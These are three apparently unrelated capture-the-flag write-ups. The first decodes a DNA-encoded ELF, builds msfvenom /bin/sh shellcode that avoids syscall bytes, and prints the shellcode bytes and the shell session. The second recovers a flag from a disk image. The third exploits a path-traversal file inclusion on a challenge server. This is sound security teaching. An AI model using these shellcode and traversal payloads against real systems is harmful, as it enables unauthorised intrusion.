# Tiny - Misc/pwn (200) Santa's tiniest elf has been kidnapped. Can you make him do what you want? Service: nc 18.205.93.120 1209 ## Analysis Connecting to the service, we're greeted with a little dialog shown below. A couple of the words are highlighted, but as it turns out, this isn't important. ```$ nc 18.205.93.120 1209<Crazy_Scientist> Hello?<Crazy_Scientist> Anyone there?> hi<H4X0R> hi<Crazy_Scientist> Brilliant!<Crazy_Scientist> I'm at the north pole and I managed to kidnap one of Santa's elves.<Crazy_Scientist> I've never seen such a tiny elf.<elf> Hi I'm elfo[elf has been kicked by Crazy_Scientist]<Crazy_Scientist> The elf will happily eat anything I feed it.<Crazy_Scientist> So I tried feeding him one of my mind control cookies<Crazy_Scientist> But it didn't work! The jolly bastard must have some kind of immune system<Crazy_Scientist> Normally I wouldn't need help for such a trivial task, but I didn't bring my laboratory to the north pole.<Crazy_Scientist> I could send you a sample of his DNA.<Crazy_Scientist> You work out how his immune system works and synthesize a new mind control cookie and send that back to me. OK?<Crazy_Scientist> Then I'll give the elf your cookie and release him back into Santa's workshop.<Crazy_Scientist> Then we can finally read the "secret", to see what's going on in there.<Crazy_Scientist> I don't think the elf will be able to eat a cookie bigger than half of his size though.<Crazy_Scientist> Are you ready?> hi<Crazy_Scientist> Yes or no..> yes<Crazy_Scientist> Excellent! I'll upload the DNA sample``` Once we answer yes, we're greeted with a large block of "DNA" made up of the letters C, G, A, and T. The "mind control cookie" the service is expecting seems to be some combination of those four letters in a size which is a multiple of four. Other letters or other lengths are not accepted. ```CGGGCACCCAGACACTAAACAAACAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATAAAAAAAGAAAAAAACAAAAAAAAAAAACCCATAAAAACAAATAAGCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGCAAAAAATAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATAAAAACAAATAAAAATAAAAACAAATACGTCAAAAAAAAAAAACGTCAAAAAAAAAAAAAACCAAAAAAAAAAAAAAAAACAAAAAAAAAATATCGTACTATGAAACTAAGGGTAAAATCGCCACGATAAGGAACAATATATGAATCCCACCTCTTATGAAACCAACCTCTAGGCGAGCTAAACGCAAAGACTCTAGGCAAGGAGCACGCAAACTTAAAGGGAAAAACGCCGTTGGAAG <Crazy_Scientist> Transmission complete!<Crazy_Scientist> Send me back the DNA of the mind control cookie as soon as you can Send back mind control cookie: asdf<Crazy_Scientist> That's not valid DNA!Send back mind control cookie: aaaa<Crazy_Scientist> That's not valid DNA!Send back mind control cookie: A<Crazy_Scientist> That's not valid DNA!Send back mind control cookie: AA<Crazy_Scientist> That's not valid DNA!Send back mind control cookie: AAA<Crazy_Scientist> That's not valid DNA!Send back mind control cookie: AAAA<Crazy_Scientist> Great, now let's get that elf back in here.[elf has joined]<elf> Hi I'm elfo[Crazy_Scientist hands elf the cookie][elf eats the cookie]<Crazy_Scientist> Ok, let me release him back into Santa's workshop<Crazy_Scientist> If he finds the secret or anything else, he'll let us know when he comes back[elf walks off in the wrong direction.]<Crazy_Scientist> Well, looks like this cookie got elf all confused.<Crazy_Scientist> I'll try to find a better hacker.[H4X0R has been kicked by Crazy_Scientist]``` At this point, I got stuck for a while, until I finally figured out that the "DNA" itself needed to be decoded. It turns out each four characters corresponds to one byte. I we map A, C, T, G to 0-3 in some way then we can decode the "DNA". The python script below tries each of the 24 possible combinations. ```pythonelf_dna = '''CGGGCACCCAGACACTAAACAAACAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATAAAAAAAGAAAAAAACAAAAAAAAAAAACCCATAAAAACAAATAAGCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGCAAAAAATAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATAAAAACAAATAAAAATAAAAACAAATACGTCAAAAAAAAAAAACGTCAAAAAAAAAAAAAACCAAAAAAAAAAAAAAAAACAAAAAAAAAATATCGTACTATGAAACTAAGGGTAAAATCGCCACGATAAGGAACAATATATGAATCCCACCTCTTATGAAACCAACCTCTAGGCGAGCTAAACGCAAAGACTCTAGGCAAGGAGCACGCAAACTTAAAGGGAAAAACGCCGTTGGAAG'''.strip() def hex_dna(dna): pats = [] for ch1 in 'ATGC': for ch2 in 'ATGC': if ch1 == ch2: continue for ch3 in 'ATGC': if ch1 == ch3 or ch2 == ch3: continue for ch4 in 'ATGC': if ch1 == ch4 or ch2 == ch4 or ch3 == ch4: continue pats.append(ch1+ch2+ch3+ch4) print(pats) dna = ''.join(dna.strip().split()) for pat in pats: arr = [] for i in range(0,len(dna),4): x1 = pat.index(dna[i]) x2 = pat.index(dna[i+1]) x3 = pat.index(dna[i+2]) x4 = pat.index(dna[i+3]) x = (x1<<6)|(x2<<4)|(x3<<2)|x4 arr.append(x) buf = bytes(arr) with open('tiny/dna_%s.txt'%pat,'wb') as f: f.write(buf) f.close() print(pat, buf) if __name__ == '__main__': hex_dna(elf_dna)``` With each possible decoding, we take a look at each one, and find that the "ACTG" decoding turns the "DNA" into an elf executable - get it? ```$ ./challenge9.py ['ATGC', 'ATCG', 'AGTC', 'AGCT', 'ACTG', 'ACGT', 'TAGC', 'TACG', 'TGAC', 'TGCA', 'TCAG', 'TCGA', 'GATC', 'GACT', 'GTAC', 'GTCA', 'GCAT', 'GCTA', 'CATG', 'CAGT', 'CTAG', 'CTGA', 'CGAT', 'CGTA']ATGC b'\xea\xcf\xc8\xcd\x03\x03\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x00\x03\x00\x00\x00\xfc@\x0c\x04,\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00,\x00\x10\x00\x03\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00@\x0c\x04\x00@\x0c\x04\xe7\x00\x00\x00\xe7\x00\x00\x00\x0f\x00\x00\x00\x000\x00\x00G\x93F\x03B\xa4\x01\xef8B\x83\x04F\x07\xf3\xddF\x03\xc3\xdd+\x8b@\xec\x08\xdd+\n,\xec\r@\xa8\x00\xef\x96\x82'ATCG b'\xbf\x8a\x8c\x89\x02\x02\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x03\x00\x02\x00\x00\x00\xa8@\x08\x048\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008\x00\x10\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00@\x08\x04\x00@\x08\x04\xb6\x00\x00\x00\xb6\x00\x00\x00\n\x00\x00\x00\x00 \x00\x00F\xd2G\x02C\xf4\x01\xba,C\xc2\x04G\x06\xa2\x99G\x02\x82\x99>\xce@\xb8\x0c\x99>\x0f8\xb8\t@\xfc\x00\xba\xd7\xc3'AGTC b'\xd5\xcf\xc4\xce\x03\x03\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x03\x00\x00\x00\xfc\x80\x0c\x08\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00 \x00\x03\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0c\x08\x00\x80\x0c\x08\xdb\x00\x00\x00\xdb\x00\x00\x00\x0f\x00\x00\x00\x000\x00\x00\x8bc\x89\x03\x81X\x02\xdf4\x81C\x08\x89\x0b\xf3\xee\x89\x03\xc3\xee\x17G\x80\xdc\x04\xee\x17\x05\x1c\xdc\x0e\x80T\x00\xdfiA'AGCT b'\x95\x8a\x84\x8b\x02\x02\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x01\x00\x02\x00\x00\x00\xa8\xc0\x08\x0c\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x000\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x08\x0c\x00\xc0\x08\x0c\x9e\x00\x00\x00\x9e\x00\x00\x00\n\x00\x00\x00\x00 \x00\x00\xcer\xcd\x02\xc1\\\x03\x9a$\xc1B\x0c\xcd\x0e\xa2\xbb\xcd\x02\x82\xbb\x16F\xc0\x98\x04\xbb\x16\x05\x18\x98\x0b\xc0T\x00\x9a}A'ACTG b'\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00\x00T\x80\x04\x084\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08y\x00\x00\x00y\x00\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x89\xe1\x8b\x01\x83\xf8\x02u\x1c\x83\xc1\x08\x8b\tQf\x8b\x01Af=\xcd\x80t\x0cf=\x0f4t\x06\x80\xfc\x00u\xeb\xc3'ACGT b'jEHG\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x02\x00\x01\x00\x00\x00T\xc0\x04\x0c$\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x000\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x04\x0c\x00\xc0\x04\x0cm\x00\x00\x00m\x00\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\xcd\xb1\xce\x01\xc2\xac\x03e\x18\xc2\x81\x0c\xce\rQw\xce\x01Aw)\x89\xc0d\x08w)\n$d\x07\xc0\xa8\x00e\xbe\x82'TAGC b'\xea\xdf\xd9\xdcWWWUUUUUUUUUTUVUWUUU\xfd\x15]QmUUUUUUUUUUUmUEUWUUUUUUUWUUUUUUUU\x15]QU\x15]Q\xe3UUU\xe3UUU_UUUUuUU\x13\x87\x12W\x16\xa1T\xefy\x16\x97Q\x12S\xf7\xcc\x12W\xd7\xcck\x9b\x15\xedY\xcckZm\xed\\\x15\xa9U\xef\x82\x96'TACG b'\xbf\x9a\x9d\x98VVVUUUUUUUUUTUWUVUUU\xa9\x15YQyUUUUUUUUUUUyUEUVUUUUUUUVUUUUUUUU\x15YQU\x15YQ\xb2UUU\xb2UUUZUUUUeUU\x12\xc6\x13V\x17\xf1T\xbam\x17\xd6Q\x13R\xa6\x88\x13V\x96\x88~\xde\x15\xb9]\x88~_y\xb9X\x15\xfdU\xba\xc3\xd7'TGAC b'\xd5\xef\xe6\xec\xab\xab\xab\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xa8\xaa\xa9\xaa\xab\xaa\xaa\xaa\xfe*\xae\xa2\x9e\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x9e\xaa\x8a\xaa\xab\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xab\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa*\xae\xa2\xaa*\xae\xa2\xd3\xaa\xaa\xaa\xd3\xaa\xaa\xaa\xaf\xaa\xaa\xaa\xaa\xba\xaa\xaa#K!\xab)R\xa8\xdf\xb6)k\xa2!\xa3\xfb\xcc!\xab\xeb\xcc\x97g*\xde\xa6\xcc\x97\xa5\x9e\xde\xac*V\xaa\xdfAi'TGCA b'\x95\xba\xb7\xb8\xfe\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\xff\xfd\xff\xfe\xff\xff\xff\xab?\xfb\xf3\xdb\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xdb\xff\xcf\xff\xfe\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff\xff\xff\xff\xff\xff?\xfb\xf3\xff?\xfb\xf3\x92\xff\xff\xff\x92\xff\xff\xff\xfa\xff\xff\xff\xff\xef\xff\xff2N1\xfe=S\xfc\x9a\xe7=~\xf31\xf2\xae\x881\xfe\xbe\x88\xd6v?\x9b\xf7\x88\xd6\xf5\xdb\x9b\xf8?W\xff\x9aA}'TCAG b'\x7fend\xa9\xa9\xa9\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xa8\xaa\xab\xaa\xa9\xaa\xaa\xaaV*\xa6\xa2\xb6\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xb6\xaa\x8a\xaa\xa9\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xa9\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa*\xa6\xa2\xaa*\xa6\xa2q\xaa\xaa\xaaq\xaa\xaa\xaa\xa5\xaa\xaa\xaa\xaa\x9a\xaa\xaa!\xc9#\xa9+\xf2\xa8u\x9e+\xe9\xa2#\xa1YD#\xa9iD\xbd\xed*v\xaeD\xbd\xaf\xb6v\xa4*\xfe\xaau\xc3\xeb'TCGA b'ju{t\xfd\xfd\xfd\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\xff\xfe\xff\xfd\xff\xff\xffW?\xf7\xf3\xe7\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe7\xff\xcf\xff\xfd\xff\xff\xff\xff\xff\xff\xff\xfd\xff\xff\xff\xff\xff\xff\xff\xff?\xf7\xf3\xff?\xf7\xf3a\xff\xff\xffa\xff\xff\xff\xf5\xff\xff\xff\xff\xdf\xff\xff1\x8d2\xfd>\xa3\xfce\xdb>\xbd\xf32\xf1]D2\xfd}D\xe9\xb9?g\xfbD\xe9\xfa\xe7g\xf4?\xab\xffe\x82\xbe'GATC b"\xc0\xdf\xd1\xdeWWWUUUUUUUUUVUTUWUUU\xfd\x95]YMUUUUUUUUUUUMUeUWUUUUUUUWUUUUUUUU\x95]YU\x95]Y\xcbUUU\xcbUUU_UUUUuUU\x9b'\x98W\x94\tV\xcfq\x94\x17Y\x98[\xf7\xee\x98W\xd7\xeeC\x13\x95\xcdQ\xeeCPM\xcd^\x95\x01U\xcf(\x14"GACT b'\x80\x9a\x91\x9bVVVUUUUUUUUUWUTUVUUU\xa9\xd5Y]IUUUUUUUUUUUIUuUVUUUUUUUVUUUUUUUU\xd5Y]U\xd5Y]\x8eUUU\x8eUUUZUUUUeUU\xde6\xdcV\xd4\rW\x8aa\xd4\x16]\xdc^\xa6\xbb\xdcV\x96\xbbB\x12\xd5\x89Q\xbbBPI\x89[\xd5\x01U\x8a<\x14'GTAC b'\xc0\xef\xe2\xed\xab\xab\xab\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xa9\xaa\xa8\xaa\xab\xaa\xaa\xaa\xfej\xae\xa6\x8e\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x8e\xaa\x9a\xaa\xab\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xab\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaaj\xae\xa6\xaaj\xae\xa6\xc7\xaa\xaa\xaa\xc7\xaa\xaa\xaa\xaf\xaa\xaa\xaa\xaa\xba\xaa\xaag\x1bd\xabh\x06\xa9\xcf\xb2h+\xa6d\xa7\xfb\xddd\xab\xeb\xdd\x83#j\xce\xa2\xdd\x83\xa0\x8e\xce\xadj\x02\xaa\xcf\x14('GTCA b'\x80\xba\xb3\xb9\xfe\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfd\xff\xfc\xff\xfe\xff\xff\xff\xab\x7f\xfb\xf7\xcb\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xcb\xff\xdf\xff\xfe\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff\xff\xff\xff\xff\xff\x7f\xfb\xf7\xff\x7f\xfb\xf7\x86\xff\xff\xff\x86\xff\xff\xff\xfa\xff\xff\xff\xff\xef\xff\xffv\x1et\xfe|\x07\xfd\x8a\xe3|>\xf7t\xf6\xae\x99t\xfe\xbe\x99\xc22\x7f\x8b\xf3\x99\xc2\xf0\xcb\x8b\xf9\x7f\x03\xff\x8a\x14<'GCAT b'@ebg\xa9\xa9\xa9\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xab\xaa\xa8\xaa\xa9\xaa\xaa\xaaV\xea\xa6\xae\x86\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x86\xaa\xba\xaa\xa9\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xa9\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xea\xa6\xae\xaa\xea\xa6\xaeM\xaa\xaa\xaaM\xaa\xaa\xaa\xa5\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xed9\xec\xa9\xe8\x0e\xabE\x92\xe8)\xae\xec\xadYw\xec\xa9iw\x81!\xeaF\xa2w\x81\xa0\x86F\xa7\xea\x02\xaaE<('GCTA b'@usv\xfd\xfd\xfd\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xfc\xff\xfd\xff\xff\xffW\xbf\xf7\xfb\xc7\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc7\xff\xef\xff\xfd\xff\xff\xff\xff\xff\xff\xff\xfd\xff\xff\xff\xff\xff\xff\xff\xff\xbf\xf7\xfb\xff\xbf\xf7\xfbI\xff\xff\xffI\xff\xff\xff\xf5\xff\xff\xff\xff\xdf\xff\xff\xb9-\xb8\xfd\xbc\x0b\xfeE\xd3\xbc=\xfb\xb8\xf9]f\xb8\xfd}f\xc11\xbfG\xf3f\xc1\xf0\xc7G\xf6\xbf\x03\xffE(<'CATG b'?\x10\x1d\x12TTTUUUUUUUUUVUWUTUUU\x01\x95QYqUUUUUUUUUUUqUeUTUUUUUUUTUUUUUUUU\x95QYU\x95QY8UUU8UUUPUUUUEUU\x98\xe4\x9bT\x97\xf9V0M\x97\xd4Y\x9bX\x04"\x9bT\x14"|\xdc\x951]"|_q1R\x95\xfdU0\xeb\xd7'CAGT b'*\x10\x19\x13TTTUUUUUUUUUWUVUTUUU\x01\xd5Q]aUUUUUUUUUUUaUuUTUUUUUUUTUUUUUUUU\xd5Q]U\xd5Q],UUU,UUUPUUUUEUU\xdc\xb4\xdeT\xd6\xadW I\xd6\x94]\xde\\\x043\xdeT\x143h\x98\xd5!Y3hZa!S\xd5\xa9U \xbe\x96'CTAG b'? .!\xa8\xa8\xa8\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xa9\xaa\xab\xaa\xa8\xaa\xaa\xaa\x02j\xa2\xa6\xb2\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xb2\xaa\x9a\xaa\xa8\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xa8\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaaj\xa2\xa6\xaaj\xa2\xa64\xaa\xaa\xaa4\xaa\xaa\xaa\xa0\xaa\xaa\xaa\xaa\x8a\xaa\xaad\xd8g\xa8k\xf6\xa90\x8ek\xe8\xa6g\xa4\x08\x11g\xa8(\x11\xbc\xecj2\xae\x11\xbc\xaf\xb22\xa1j\xfe\xaa0\xd7\xeb'CTGA b'*0;1\xfc\xfc\xfc\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfd\xff\xfe\xff\xfc\xff\xff\xff\x03\x7f\xf3\xf7\xe3\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe3\xff\xdf\xff\xfc\xff\xff\xff\xff\xff\xff\xff\xfc\xff\xff\xff\xff\xff\xff\xff\xff\x7f\xf3\xf7\xff\x7f\xf3\xf7$\xff\xff\xff$\xff\xff\xff\xf0\xff\xff\xff\xff\xcf\xff\xfft\x9cv\xfc~\xa7\xfd \xcb~\xbc\xf7v\xf4\x0c\x11v\xfc<\x11\xe8\xb8\x7f#\xfb\x11\xe8\xfa\xe3#\xf1\x7f\xab\xff \x96\xbe'CGAT b'\x15 &#\xa8\xa8\xa8\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xab\xaa\xa9\xaa\xa8\xaa\xaa\xaa\x02\xea\xa2\xae\x92\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x92\xaa\xba\xaa\xa8\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xa8\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xea\xa2\xae\xaa\xea\xa2\xae\x1c\xaa\xaa\xaa\x1c\xaa\xaa\xaa\xa0\xaa\xaa\xaa\xaa\x8a\xaa\xaa\xecx\xed\xa8\xe9^\xab\x10\x86\xe9h\xae\xed\xac\x083\xed\xa8(3\x94d\xea\x12\xa63\x94\xa5\x92\x12\xa3\xeaV\xaa\x10}i'CGTA b'\x15072\xfc\xfc\xfc\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xfd\xff\xfc\xff\xff\xff\x03\xbf\xf3\xfb\xd3\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xd3\xff\xef\xff\xfc\xff\xff\xff\xff\xff\xff\xff\xfc\xff\xff\xff\xff\xff\xff\xff\xff\xbf\xf3\xfb\xff\xbf\xf3\xfb\x18\xff\xff\xff\x18\xff\xff\xff\xf0\xff\xff\xff\xff\xcf\xff\xff\xb8l\xb9\xfc\xbd[\xfe\x10\xc7\xbd|\xfb\xb9\xf8\x0c"\xb9\xfc<"\xd4t\xbf\x13\xf7"\xd4\xf5\xd3\x13\xf2\xbfW\xff\x10i}' $ file tiny/dna_*txttiny/dna_ACGT.txt: datatiny/dna_ACTG.txt: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header sizetiny/dna_AGCT.txt: PGP Secret Key -tiny/dna_AGTC.txt: datatiny/dna_ATCG.txt: datatiny/dna_ATGC.txt: datatiny/dna_CAGT.txt: datatiny/dna_CATG.txt: datatiny/dna_CGAT.txt: datatiny/dna_CGTA.txt: datatiny/dna_CTAG.txt: datatiny/dna_CTGA.txt: datatiny/dna_GACT.txt: datatiny/dna_GATC.txt: datatiny/dna_GCAT.txt: datatiny/dna_GCTA.txt: datatiny/dna_GTAC.txt: datatiny/dna_GTCA.txt: datatiny/dna_TACG.txt: datatiny/dna_TAGC.txt: datatiny/dna_TCAG.txt: datatiny/dna_TCGA.txt: Non-ISO extended-ASCII text, with no line terminatorstiny/dna_TGAC.txt: Non-ISO extended-ASCII text, with no line terminatorstiny/dna_TGCA.txt: PGP Secret Key -``` ## Disassembly This elf executable is _very_ small (obviously given the name). Basically the only logic the is the following pseudocode: ```main: if argc != 2 jmp (undefined) push argv[1] ptr = argv[1] while *(uint16*)ptr != 0: if *(uint16*)ptr == 0x80CD: jmp (undefined) if *(uint16*)ptr == 0x340F: jmp (undefined) ptr++ return``` Basically this does two things. (1) If the shellcode in argv[1] contains the byte pattern `CD 80` or `0F 34`, then error out, and (2) if not, then "return" to the pushed "argv[1]", our shellcode. The bytes `CD 80` correspond to the instruction `int 80` and the bytes `0F 34` correspond to `sysenter`. So basically all we need to do is make some shellcode without these two instructions. This is easy enough with `msfvenom`: ```$ msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x0f\x80' --smallestNo platform was selected, choosing Msf::Module::Platform::Linux from the payloadNo Arch selected, selecting Arch: x86 from the payloadFound 10 compatible encodersAttempting to encode payload with 1 iterations of x86/shikata_ga_naix86/shikata_ga_nai succeeded with size 70 (iteration=0)Attempting to encode payload with 1 iterations of generic/nonegeneric/none failed with Encoding failed due to a bad character (index=42, char=0x80)Attempting to encode payload with 1 iterations of x86/call4_dword_xorx86/call4_dword_xor succeeded with size 68 (iteration=0)Attempting to encode payload with 1 iterations of x86/countdownx86/countdown succeeded with size 59 (iteration=0)Attempting to encode payload with 1 iterations of x86/fnstenv_movx86/fnstenv_mov succeeded with size 66 (iteration=0)Attempting to encode payload with 1 iterations of x86/jmp_call_additivex86/jmp_call_additive succeeded with size 73 (iteration=0)Attempting to encode payload with 1 iterations of x86/alpha_mixedx86/alpha_mixed succeeded with size 147 (iteration=0)Attempting to encode payload with 1 iterations of x86/alpha_upperx86/alpha_upper succeeded with size 155 (iteration=0)Attempting to encode payload with 1 iterations of x86/nonalphax86/nonalpha failed with Encoding failed due to a bad character (index=78, char=0x80)Attempting to encode payload with 1 iterations of x86/nonupperx86/nonupper failed with Encoding failed due to a bad character (index=78, char=0x80)x86/countdown chosen with final size 59Payload size: 59 bytesFinal size of python file: 296 bytesbuf = ""buf += "\x6a\x2a\x59\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e"buf += "\x07\xe2\xfa\x6b\x09\x5b\x9d\x57\x60\x6f\x25\x6a\x83"buf += "\xec\x64\x22\x7d\x67\x10\x79\x3d\x71\x7d\x7b\x9f\xf4"buf += "\x4a\xf1\x12\x1b\x1c\x1d\x31\x7d\x49\x4f\x0d\x50\x4c"buf += "\x25\x71\x74\xa1\xc8\xe7\xab"``` Once we have this shellcode, we just convert it back to "DNA" to send to the server. ```pythondef dna_hex(buf): pat = 'ACTG' st = [] for b in buf: st.append(pat[(b>>6)&3]) st.append(pat[(b>>4)&3]) st.append(pat[(b>>2)&3]) st.append(pat[(b>>0)&3]) st = ''.join(st) print(st) return st if __name__ == '__main__': buf = b"" buf += b"\x6a\x2a\x59\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e" buf += b"\x07\xe2\xfa\x6b\x09\x5b\x9d\x57\x60\x6f\x25\x6a\x83" buf += b"\xec\x64\x22\x7d\x67\x10\x79\x3d\x71\x7d\x7b\x9f\xf4" buf += b"\x4a\xf1\x12\x1b\x1c\x1d\x31\x7d\x49\x4f\x0d\x50\x4c" buf += b"\x25\x71\x74\xa1\xc8\xe7\xab" dna_hex(buf)``` ## Shell Once we have the new "DNA" ready we send it to the server and get our shell. _However_, for some reason this shell isn't returning stdout. Luckily it does return stderr so all we need to do is redirect each command to stderr. With this shell we can finally get the flag: ```CGGGCACCCAGACACTAAACAAACAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATAAAAAAAGAAAAAAACAAAAAAAAAAAACCCATAAAAACAAATAAGCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGCAAAAAATAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATAAAAACAAATAAAAATAAAAACAAATACGTCAAAAAAAAAAAACGTCAAAAAAAAAAAAAACCAAAAAAAAAAAAAAAAACAAAAAAAAAATATCGTACTATGAAACTAAGGGTAAAATCGCCACGATAAGGAACAATATATGAATCCCACCTCTTATGAAACCAACCTCTAGGCGAGCTAAACGCAAAGACTCTAGGCAAGGAGCACGCAAACTTAAAGGGAAAAACGCCGTTGGAAG <Crazy_Scientist> Transmission complete!<Crazy_Scientist> Send me back the DNA of the mind control cookie as soon as you can Send back mind control cookie: CTTTATTTCCTCGTTAGGGGGGGGGGGGGGGGGAACCCGTAGAACAGAAAGTAACGGTATGGTTCTTGAATCCCTGTCGCCCCGCTAACTGGATCCCTTTTAAGGTGACTCAATATCGGCCTCGACAACGTCAGGCCGACCGGCCGTGTCGGGGCACATTGGACACATACTGACGAACGCAGACCGGCCATCCAGGAAGCCCAACAGAATCCCGACCGCATTACGATAGTCGTTTG<Crazy_Scientist> Great, now let's get that elf back in here.[elf has joined]<elf> Hi I'm elfo[Crazy_Scientist hands elf the cookie][elf eats the cookie]<Crazy_Scientist> Ok, let me release him back into Santa's workshop<Crazy_Scientist> If he finds the secret or anything else, he'll let us know when he comes backidlsls /cat flaga/bin/sh: 5: a: not foundls 2>&1ls 2&>1/bin/sh: 7: cannot create 1: Permission deniedls: cannot access '2': No such file or directoryls 1>&2flagsecretserver.pytinycat flag 1>&2This is not the ./secret you are looking forcat secret 1>&2AOTW{mUcH_DnA_S0_t1nY_SuCh_sYsCaLl_w0w_456215}cat server 1>&2```
convert image from RGB to raw data using ImageMagick convert tool:`convert image.png RGB:data` then, we see content is a ZPAQ archive... `mv data data.zpaq` `zpaq -x data.zpaq` and we'll get a hxp-home ext4 drive. Just try to mount it using mount: `sudo mkdir -p /mnt/hxp` `sudo mount -t ext4 -o loop, hxp-home /mnt/hxp` then after by greppiing for flag you'll see some records in .viminfo and .bash_history..we can recover content of file using vim: `cd /mnt/hxp` `HOME=$PWD` `sudo vim -c 'normal @q' -c ':wq! flag.txt'` then just cat the flag: `cat flag.txt` `hxp{piece-of-cake}`
## Easter Egg: Crystal Gate - Web 446: **Description:** I don't wanna go anywhere. **Challenge:** http://18.191.227.167/ **Difficulty:** Easy **Solved by:** Tahar **Solution:** Open the URL, after simple and quick directory bruteforcing we find a directory **.git**. We download the Index file: **http://18.191.227.167/.git/index**. We open that downloaded file using a Hex Editor and theb we find an interesting folder/file!! **http://18.191.227.167/crystalsfordays/traversethebridge.php** The hint is saying **Note2: I can't seem to remember the param. It's "file"** We use that file parameter and exploit it. It is an **LFI Vulnerability (Local File Inclusion)**. **http://18.191.227.167/crystalsfordays/traversethebridge.php?file=** We use this URL to exploit the vulnerability, and it becomes: ```http://18.191.227.167/crystalsfordays/traversethebridge.php?file=../../```. We find too many files and the interesting one was **TheEgg.html**. When we open that file:**http://18.191.227.167/crystalsfordays/traversethebridge.php?file=../../TheEgg.html** we get the flag! **Flag:** TUCTF{3_15_4_M4G1C_NUMB3R_7H3_crys74L_k3Y_15_y0ur5!}
